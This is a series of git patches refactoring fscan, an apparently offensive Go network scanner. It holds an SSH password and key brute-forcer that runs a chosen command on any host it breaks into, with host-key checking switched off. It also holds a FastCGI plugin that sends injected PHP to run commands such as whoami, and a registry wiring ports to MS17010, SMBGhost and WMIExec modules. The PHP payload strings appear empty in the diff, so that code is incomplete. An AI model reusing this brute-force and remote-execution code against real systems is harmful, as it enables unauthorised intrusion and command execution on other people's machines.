-//_, err = f.Seek(0, io.SeekStart) -//if err != nil { -// return -//} -//bs, err := ioutil.ReadAll(f) -//if err != nil { -// return -//} -//fmt.Println(string(bs)) -//return +// logShareInfo 记录SMB共享信息 +func logShareInfo(info *common.HostInfo, user string, pass string, hash []byte, shares []string) { + var result string + + // 构建基础信息 + if common.Domain != "" { + result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ", + info.Host, info.Ports, common.Domain, user) + } else { + result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ", + info.Host, info.Ports, user) + } + + // 添加认证信息 + if len(hash) > 0 { + result += fmt.Sprintf("Hash:%v ", common.Hash) + } else { + result += fmt.Sprintf("Pass:%v ", pass) + } + + // 添加共享列表 + result += fmt.Sprintf("可用共享: %v", shares) + common.LogSuccess(result) +} From f35a259f11d46fa17631ea858487c1e6bfbfdecb Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:19:53 +0800 Subject: [PATCH 007/188] =?UTF-8?q?refactor:=20SSH=E6=A8=A1=E5=9D=97?= =?UTF-8?q?=E9=87=8D=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/ssh.go | 91 ++++++++++++++++++++++++++++++++------------------ 1 file changed, 58 insertions(+), 33 deletions(-) diff --git a/Plugins/ssh.go b/Plugins/ssh.go index d4ab5df..c46139d 100644 --- a/Plugins/ssh.go +++ b/Plugins/ssh.go @@ -1,7 +1,6 @@ package Plugins import ( - "errors" "fmt" "github.com/shadow1ng/fscan/common" "golang.org/x/crypto/ssh" @@ -11,28 +10,43 @@ import ( "time" ) +// SshScan 执行SSH服务的认证扫描 func SshScan(info *common.HostInfo) (tmperr error) { if common.IsBrute { return } - starttime := time.Now().Unix() + + startTime := time.Now().Unix() + + // 遍历用户名和密码字典进行认证尝试 for _, user := range common.Userdict["ssh"] { for _, pass := range common.Passwords { + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) - flag, err := SshConn(info, user, pass) - if flag == true && err == nil { + + success, err := SshConn(info, user, pass) + if success && err == nil { return err - } else { - errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) { - return err - } } + + // 记录失败信息 + errlog := fmt.Sprintf("[x] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, user, pass, err) + common.LogError(errlog) + tmperr = err + + // 检查是否需要中断扫描 + if common.CheckErrs(err) { + return err + } + + // 检查是否超时 + timeoutLimit := int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout + if time.Now().Unix()-startTime > timeoutLimit { + return err + } + + // 如果指定了SSH密钥,则不进行密码尝试 if common.SshKey != "" { return err } @@ -41,57 +55,68 @@ func SshScan(info *common.HostInfo) (tmperr error) { return tmperr } +// SshConn 尝试建立SSH连接并进行认证 func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - var Auth []ssh.AuthMethod + // 准备认证方法 + var auth []ssh.AuthMethod if common.SshKey != "" { + // 使用SSH密钥认证 pemBytes, err := ioutil.ReadFile(common.SshKey) if err != nil { - return false, errors.New("read key failed" + err.Error()) + return false, fmt.Errorf("读取密钥失败: %v", err) } + signer, err := ssh.ParsePrivateKey(pemBytes) if err != nil { - return false, errors.New("parse key failed" + err.Error()) + return false, fmt.Errorf("解析密钥失败: %v", err) } - Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} + auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} } else { - Auth = []ssh.AuthMethod{ssh.Password(Password)} + // 使用密码认证 + auth = []ssh.AuthMethod{ssh.Password(pass)} } + // 配置SSH客户端 config := &ssh.ClientConfig{ - User: Username, - Auth: Auth, + User: user, + Auth: auth, Timeout: time.Duration(common.Timeout) * time.Second, HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil }, } - client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config) + // 建立SSH连接 + client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config) if err == nil { defer client.Close() session, err := client.NewSession() if err == nil { defer session.Close() flag = true - var result string + + // 处理认证成功的情况 if common.Command != "" { - combo, _ := session.CombinedOutput(common.Command) - result = fmt.Sprintf("[+] SSH %v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo)) + // 执行指定命令 + output, _ := session.CombinedOutput(common.Command) if common.SshKey != "" { - result = fmt.Sprintf("[+] SSH %v:%v sshkey correct \n %v", Host, Port, string(combo)) + common.LogSuccess(fmt.Sprintf("[✓] SSH密钥认证成功 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, string(output))) + } else { + common.LogSuccess(fmt.Sprintf("[✓] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", + info.Host, info.Ports, user, pass, string(output))) } - common.LogSuccess(result) } else { - result = fmt.Sprintf("[+] SSH %v:%v:%v %v", Host, Port, Username, Password) + // 仅记录认证成功 if common.SshKey != "" { - result = fmt.Sprintf("[+] SSH %v:%v sshkey correct", Host, Port) + common.LogSuccess(fmt.Sprintf("[✓] SSH密钥认证成功 %v:%v", + info.Host, info.Ports)) + } else { + common.LogSuccess(fmt.Sprintf("[✓] SSH认证成功 %v:%v User:%v Pass:%v", + info.Host, info.Ports, user, pass)) } - common.LogSuccess(result) } } } return flag, err - } From cae98e7d90e102dd9307c40e076f8cf0901e1c84 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 21:55:39 +0800 Subject: [PATCH 008/188] =?UTF-8?q?refactor:=20=E9=87=8D=E6=9E=84=E6=98=A0?= =?UTF-8?q?=E5=B0=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Config/Types.go | 24 +++++++ Plugins/{base.go => Base.go} | 23 ------- Plugins/Registry.go | 127 +++++++++++++++++++++++++++++++++++ 3 files changed, 151 insertions(+), 23 deletions(-) create mode 100644 Config/Types.go rename Plugins/{base.go => Base.go} (80%) create mode 100644 Plugins/Registry.go diff --git a/Config/Types.go b/Config/Types.go new file mode 100644 index 0000000..aa6a420 --- /dev/null +++ b/Config/Types.go @@ -0,0 +1,24 @@ +// Config/types.go +package Config + +type HostInfo struct { + Host string + Ports string + Url string + Infostr []string +} + +// ScanPlugin 定义扫描插件的结构 +type ScanPlugin struct { + Name string // 插件名称 + Port int // 关联的端口号,0表示特殊扫描类型 + ScanFunc func(*HostInfo) error // 扫描函数 +} + +// PluginManager 管理插件注册 +var PluginManager = make(map[string]ScanPlugin) + +// RegisterPlugin 注册插件 +func RegisterPlugin(name string, plugin ScanPlugin) { + PluginManager[name] = plugin +} diff --git a/Plugins/base.go b/Plugins/Base.go similarity index 80% rename from Plugins/base.go rename to Plugins/Base.go index b33bc8c..7fc38a9 100644 --- a/Plugins/base.go +++ b/Plugins/Base.go @@ -8,29 +8,6 @@ import ( "net" ) -var PluginList = map[string]interface{}{ - "21": FtpScan, - "22": SshScan, - "135": Findnet, - "139": NetBIOS, - "445": SmbScan, - "1433": MssqlScan, - "1521": OracleScan, - "3306": MysqlScan, - "3389": RdpScan, - "5432": PostgresScan, - "6379": RedisScan, - "9000": FcgiScan, - "11211": MemcachedScan, - "27017": MongodbScan, - "1000001": MS17010, - "1000002": SmbGhost, - "1000003": WebTitle, - "1000004": SmbScan2, - "1000005": WmiExec, - "1000006": LocalInfoScan, -} - func ReadBytes(conn net.Conn) (result []byte, err error) { size := 4096 buf := make([]byte, size) diff --git a/Plugins/Registry.go b/Plugins/Registry.go new file mode 100644 index 0000000..d23d061 --- /dev/null +++ b/Plugins/Registry.go @@ -0,0 +1,127 @@ +package Plugins + +import "github.com/shadow1ng/fscan/Config" + +func init() { + // 注册标准端口服务扫描 + Config.RegisterPlugin("ftp", Config.ScanPlugin{ + Name: "FTP", + Port: 21, + ScanFunc: FtpScan, + }) + + Config.RegisterPlugin("ssh", Config.ScanPlugin{ + Name: "SSH", + Port: 22, + ScanFunc: SshScan, + }) + + Config.RegisterPlugin("findnet", Config.ScanPlugin{ + Name: "FindNet", + Port: 135, + ScanFunc: Findnet, + }) + + Config.RegisterPlugin("netbios", Config.ScanPlugin{ + Name: "NetBIOS", + Port: 139, + ScanFunc: NetBIOS, + }) + + Config.RegisterPlugin("smb", Config.ScanPlugin{ + Name: "SMB", + Port: 445, + ScanFunc: SmbScan, + }) + + Config.RegisterPlugin("mssql", Config.ScanPlugin{ + Name: "MSSQL", + Port: 1433, + ScanFunc: MssqlScan, + }) + + Config.RegisterPlugin("oracle", Config.ScanPlugin{ + Name: "Oracle", + Port: 1521, + ScanFunc: OracleScan, + }) + + Config.RegisterPlugin("mysql", Config.ScanPlugin{ + Name: "MySQL", + Port: 3306, + ScanFunc: MysqlScan, + }) + + Config.RegisterPlugin("rdp", Config.ScanPlugin{ + Name: "RDP", + Port: 3389, + ScanFunc: RdpScan, + }) + + Config.RegisterPlugin("postgres", Config.ScanPlugin{ + Name: "PostgreSQL", + Port: 5432, + ScanFunc: PostgresScan, + }) + + Config.RegisterPlugin("redis", Config.ScanPlugin{ + Name: "Redis", + Port: 6379, + ScanFunc: RedisScan, + }) + + Config.RegisterPlugin("fcgi", Config.ScanPlugin{ + Name: "FastCGI", + Port: 9000, + ScanFunc: FcgiScan, + }) + + Config.RegisterPlugin("memcached", Config.ScanPlugin{ + Name: "Memcached", + Port: 11211, + ScanFunc: MemcachedScan, + }) + + Config.RegisterPlugin("mongodb", Config.ScanPlugin{ + Name: "MongoDB", + Port: 27017, + ScanFunc: MongodbScan, + }) + + // 注册特殊扫描类型 + Config.RegisterPlugin("ms17010", Config.ScanPlugin{ + Name: "MS17010", + Port: 445, + ScanFunc: MS17010, + }) + + Config.RegisterPlugin("smbghost", Config.ScanPlugin{ + Name: "SMBGhost", + Port: 445, + ScanFunc: SmbGhost, + }) + + Config.RegisterPlugin("web", Config.ScanPlugin{ + Name: "WebTitle", + Port: 0, + ScanFunc: WebTitle, + }) + + Config.RegisterPlugin("smb2", Config.ScanPlugin{ + Name: "SMBScan2", + Port: 445, + ScanFunc: SmbScan2, + }) + + Config.RegisterPlugin("wmiexec", Config.ScanPlugin{ + Name: "WMIExec", + Port: 135, + ScanFunc: WmiExec, + }) + + Config.RegisterPlugin("localinfo", Config.ScanPlugin{ + Name: "LocalInfo", + Port: 0, + ScanFunc: LocalInfoScan, + }) +} From ab14b1586487ec64ee60728e79ed9983d70eb867 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 21:56:08 +0800 Subject: [PATCH 009/188] =?UTF-8?q?refactor:=20=E9=87=8D=E6=9E=84=E6=B6=89?= =?UTF-8?q?=E5=8F=8A=E6=96=87=E4=BB=B6=E6=9B=B4=E6=96=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/CVE-2020-0796.go | 5 +- Plugins/NetBIOS.go | 7 +- Plugins/fcgiscan.go | 92 +++++++++++++------------- Plugins/findnet.go | 5 +- Plugins/ftp.go | 5 +- Plugins/localinfo.go | 3 +- Plugins/memcached.go | 3 +- Plugins/mongodb.go | 5 +- Plugins/ms17010-exp.go | 3 +- Plugins/ms17010.go | 5 +- Plugins/mssql.go | 5 +- Plugins/mysql.go | 5 +- Plugins/oracle.go | 5 +- Plugins/postgres.go | 5 +- Plugins/rdp.go | 3 +- Plugins/redis.go | 7 +- Plugins/scanner.go | 135 ++++++++++++++++++++++----------------- Plugins/smb.go | 7 +- Plugins/smb2.go | 15 +++-- Plugins/ssh.go | 5 +- Plugins/webtitle.go | 7 +- Plugins/wmiexec.go | 5 +- WebScan/WebScan.go | 3 +- common/Parse.go | 104 +++++++++++++++++++----------- common/config.go | 45 ------------- common/flag.go | 3 +- main.go | 3 +- 27 files changed, 260 insertions(+), 235 deletions(-) diff --git a/Plugins/CVE-2020-0796.go b/Plugins/CVE-2020-0796.go index 385c86d..2297d1b 100644 --- a/Plugins/CVE-2020-0796.go +++ b/Plugins/CVE-2020-0796.go @@ -3,6 +3,7 @@ package Plugins import ( "bytes" "fmt" + "github.com/shadow1ng/fscan/Config" "time" "github.com/shadow1ng/fscan/common" @@ -94,7 +95,7 @@ const ( "\x00\x00\x00\x00" ) -func SmbGhost(info *common.HostInfo) error { +func SmbGhost(info *Config.HostInfo) error { if common.IsBrute { return nil } @@ -102,7 +103,7 @@ func SmbGhost(info *common.HostInfo) error { return err } -func SmbGhostScan(info *common.HostInfo) error { +func SmbGhostScan(info *Config.HostInfo) error { ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second addr := fmt.Sprintf("%s:%v", info.Host, port) conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index d3d0c84..b025f5c 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -4,6 +4,7 @@ import ( "bytes" "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "gopkg.in/yaml.v3" "net" @@ -14,7 +15,7 @@ import ( var errNetBIOS = errors.New("netbios error") -func NetBIOS(info *common.HostInfo) error { +func NetBIOS(info *Config.HostInfo) error { netbios, _ := NetBIOS1(info) output := netbios.String() if len(output) > 0 { @@ -25,7 +26,7 @@ func NetBIOS(info *common.HostInfo) error { return errNetBIOS } -func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { +func NetBIOS1(info *Config.HostInfo) (netbios NetBiosInfo, err error) { netbios, err = GetNbnsname(info) var payload0 []byte if netbios.ServerService != "" || netbios.WorkstationService != "" { @@ -84,7 +85,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { return } -func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) { +func GetNbnsname(info *Config.HostInfo) (netbios NetBiosInfo, err error) { senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") realhost := fmt.Sprintf("%s:137", info.Host) diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go index 11c9841..a14776c 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/fcgiscan.go @@ -6,6 +6,7 @@ import ( "encoding/binary" "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "io" "strconv" @@ -18,34 +19,43 @@ import ( //https://xz.aliyun.com/t/9544 //https://github.com/wofeiwo/webcgi-exploits -func FcgiScan(info *common.HostInfo) { +// FcgiScan 执行FastCGI服务器漏洞扫描 +func FcgiScan(info *Config.HostInfo) error { + // 如果设置了暴力破解模式则跳过 if common.IsBrute { - return + return nil } + + // 设置目标URL路径 url := "/etc/issue" if common.Path != "" { url = common.Path } addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) + + // 构造PHP命令注入代码 var reqParams string - var cutLine = "-----ASDGTasdkk361363s-----\n" + var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 + switch { case common.Command == "read": - reqParams = "" + reqParams = "" // 读取模式 case common.Command != "": - reqParams = "" + reqParams = fmt.Sprintf("", common.Command, cutLine) // 自定义命令 default: - reqParams = "" + reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami } - env := make(map[string]string) - - env["SCRIPT_FILENAME"] = url - env["DOCUMENT_ROOT"] = "/" - env["SERVER_SOFTWARE"] = "go / fcgiclient " - env["REMOTE_ADDR"] = "127.0.0.1" - env["SERVER_PROTOCOL"] = "HTTP/1.1" + // 设置FastCGI环境变量 + env := map[string]string{ + "SCRIPT_FILENAME": url, + "DOCUMENT_ROOT": "/", + "SERVER_SOFTWARE": "go / fcgiclient ", + "REMOTE_ADDR": "127.0.0.1", + "SERVER_PROTOCOL": "HTTP/1.1", + } + // 根据请求类型设置对应的环境变量 if len(reqParams) != 0 { env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) env["REQUEST_METHOD"] = "POST" @@ -54,6 +64,7 @@ func FcgiScan(info *common.HostInfo) { env["REQUEST_METHOD"] = "GET" } + // 建立FastCGI连接 fcgi, err := New(addr, common.Timeout) defer func() { if fcgi.rwc != nil { @@ -61,54 +72,47 @@ func FcgiScan(info *common.HostInfo) { } }() if err != nil { - errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err) - common.LogError(errlog) - return + fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err } + // 发送FastCGI请求 stdout, stderr, err := fcgi.Request(env, reqParams) if err != nil { - errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err) - common.LogError(errlog) - return + fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err } - //1 - //Content-type: text/html - // - //uid=1001(www) gid=1001(www) groups=1001(www) - - //2 - //Status: 404 Not Found - //Content-type: text/html - // - //File not found. - //Primary script unknown - - //3 - //Status: 403 Forbidden - //Content-type: text/html - // - //Access denied. - //Access to the script '/etc/passwd' has been denied (see security.limit_extensions) + // 处理响应结果 + output := string(stdout) var result string - var output = string(stdout) - if strings.Contains(output, cutLine) { //命令成功回显 + + if strings.Contains(output, cutLine) { + // 命令执行成功,提取输出结果 output = strings.SplitN(output, cutLine, 2)[0] if len(stderr) > 0 { - result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) } else { - result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output) + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, output) } common.LogSuccess(result) - } else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") { + } else if strings.Contains(output, "File not found") || + strings.Contains(output, "Content-type") || + strings.Contains(output, "Status") { + // 目标存在FastCGI服务但可能路径错误 if len(stderr) > 0 { - result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) } else { - result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output) + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", + info.Host, info.Ports, output) } common.LogSuccess(result) } + + return nil } // for padding so we don't have to allocate all the time diff --git a/Plugins/findnet.go b/Plugins/findnet.go index 6787a95..2a8355c 100644 --- a/Plugins/findnet.go +++ b/Plugins/findnet.go @@ -4,6 +4,7 @@ import ( "bytes" "encoding/hex" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strconv" "strings" @@ -16,12 +17,12 @@ var ( bufferV3, _ = hex.DecodeString("0900ffff0000") ) -func Findnet(info *common.HostInfo) error { +func Findnet(info *Config.HostInfo) error { err := FindnetScan(info) return err } -func FindnetScan(info *common.HostInfo) error { +func FindnetScan(info *Config.HostInfo) error { realhost := fmt.Sprintf("%s:%v", info.Host, 135) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) if err != nil { diff --git a/Plugins/ftp.go b/Plugins/ftp.go index 58d0378..19d925c 100644 --- a/Plugins/ftp.go +++ b/Plugins/ftp.go @@ -3,12 +3,13 @@ package Plugins import ( "fmt" "github.com/jlaffaye/ftp" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func FtpScan(info *common.HostInfo) (tmperr error) { +func FtpScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -47,7 +48,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) { return tmperr } -func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func FtpConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/localinfo.go b/Plugins/localinfo.go index c7ede11..72835f7 100644 --- a/Plugins/localinfo.go +++ b/Plugins/localinfo.go @@ -2,6 +2,7 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "os" "path/filepath" @@ -88,7 +89,7 @@ var ( } ) -func LocalInfoScan(info *common.HostInfo) (err error) { +func LocalInfoScan(info *Config.HostInfo) (err error) { home, err := os.UserHomeDir() if err != nil { errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err) diff --git a/Plugins/memcached.go b/Plugins/memcached.go index 361edc1..0ad4e7d 100644 --- a/Plugins/memcached.go +++ b/Plugins/memcached.go @@ -2,12 +2,13 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func MemcachedScan(info *common.HostInfo) (err error) { +func MemcachedScan(info *Config.HostInfo) (err error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) defer func() { diff --git a/Plugins/mongodb.go b/Plugins/mongodb.go index 947137a..36805c2 100644 --- a/Plugins/mongodb.go +++ b/Plugins/mongodb.go @@ -2,12 +2,13 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func MongodbScan(info *common.HostInfo) error { +func MongodbScan(info *Config.HostInfo) error { if common.IsBrute { return nil } @@ -19,7 +20,7 @@ func MongodbScan(info *common.HostInfo) error { return err } -func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { +func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) { flag = false // op_msg packet1 := []byte{ diff --git a/Plugins/ms17010-exp.go b/Plugins/ms17010-exp.go index f761517..dbcdd7b 100644 --- a/Plugins/ms17010-exp.go +++ b/Plugins/ms17010-exp.go @@ -5,6 +5,7 @@ import ( "encoding/binary" "encoding/hex" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "io" "io/ioutil" @@ -13,7 +14,7 @@ import ( "time" ) -func MS17010EXP(info *common.HostInfo) { +func MS17010EXP(info *Config.HostInfo) { address := info.Host + ":445" var sc string switch common.SC { diff --git a/Plugins/ms17010.go b/Plugins/ms17010.go index feb53e7..0f30ead 100644 --- a/Plugins/ms17010.go +++ b/Plugins/ms17010.go @@ -5,6 +5,7 @@ import ( "encoding/hex" "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" @@ -23,7 +24,7 @@ var ( trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key)) ) -func MS17010(info *common.HostInfo) error { +func MS17010(info *Config.HostInfo) error { if common.IsBrute { return nil } @@ -35,7 +36,7 @@ func MS17010(info *common.HostInfo) error { return err } -func MS17010Scan(info *common.HostInfo) error { +func MS17010Scan(info *Config.HostInfo) error { ip := info.Host // connecting to a host in LAN if reachable should be very quick conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/mssql.go b/Plugins/mssql.go index 30b1429..2048709 100644 --- a/Plugins/mssql.go +++ b/Plugins/mssql.go @@ -4,12 +4,13 @@ import ( "database/sql" "fmt" _ "github.com/denisenkom/go-mssqldb" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func MssqlScan(info *common.HostInfo) (tmperr error) { +func MssqlScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -36,7 +37,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) { return tmperr } -func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func MssqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/mysql.go b/Plugins/mysql.go index db3e440..23e578f 100644 --- a/Plugins/mysql.go +++ b/Plugins/mysql.go @@ -4,12 +4,13 @@ import ( "database/sql" "fmt" _ "github.com/go-sql-driver/mysql" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func MysqlScan(info *common.HostInfo) (tmperr error) { +func MysqlScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -36,7 +37,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) { return tmperr } -func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func MysqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/oracle.go b/Plugins/oracle.go index be9ad2d..37f867c 100644 --- a/Plugins/oracle.go +++ b/Plugins/oracle.go @@ -3,13 +3,14 @@ package Plugins import ( "database/sql" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" _ "github.com/sijms/go-ora/v2" "strings" "time" ) -func OracleScan(info *common.HostInfo) (tmperr error) { +func OracleScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -36,7 +37,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) { return tmperr } -func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func OracleConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port) diff --git a/Plugins/postgres.go b/Plugins/postgres.go index 36a97ed..68681d1 100644 --- a/Plugins/postgres.go +++ b/Plugins/postgres.go @@ -4,12 +4,13 @@ import ( "database/sql" "fmt" _ "github.com/lib/pq" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func PostgresScan(info *common.HostInfo) (tmperr error) { +func PostgresScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -36,7 +37,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) { return tmperr } -func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func PostgresConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") diff --git a/Plugins/rdp.go b/Plugins/rdp.go index fe08c39..4bae7a6 100644 --- a/Plugins/rdp.go +++ b/Plugins/rdp.go @@ -3,6 +3,7 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "github.com/tomatome/grdp/core" "github.com/tomatome/grdp/glog" @@ -26,7 +27,7 @@ type Brutelist struct { pass string } -func RdpScan(info *common.HostInfo) (tmperr error) { +func RdpScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } diff --git a/Plugins/redis.go b/Plugins/redis.go index 88ad73d..39e6a6b 100644 --- a/Plugins/redis.go +++ b/Plugins/redis.go @@ -3,6 +3,7 @@ package Plugins import ( "bufio" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "io" "net" @@ -16,7 +17,7 @@ var ( dir string ) -func RedisScan(info *common.HostInfo) (tmperr error) { +func RedisScan(info *Config.HostInfo) (tmperr error) { starttime := time.Now().Unix() flag, err := RedisUnauth(info) if flag == true && err == nil { @@ -45,7 +46,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) { return tmperr } -func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { +func RedisConn(info *Config.HostInfo, pass string) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) @@ -81,7 +82,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { return flag, err } -func RedisUnauth(info *common.HostInfo) (flag bool, err error) { +func RedisUnauth(info *Config.HostInfo) (flag bool, err error) { flag = false 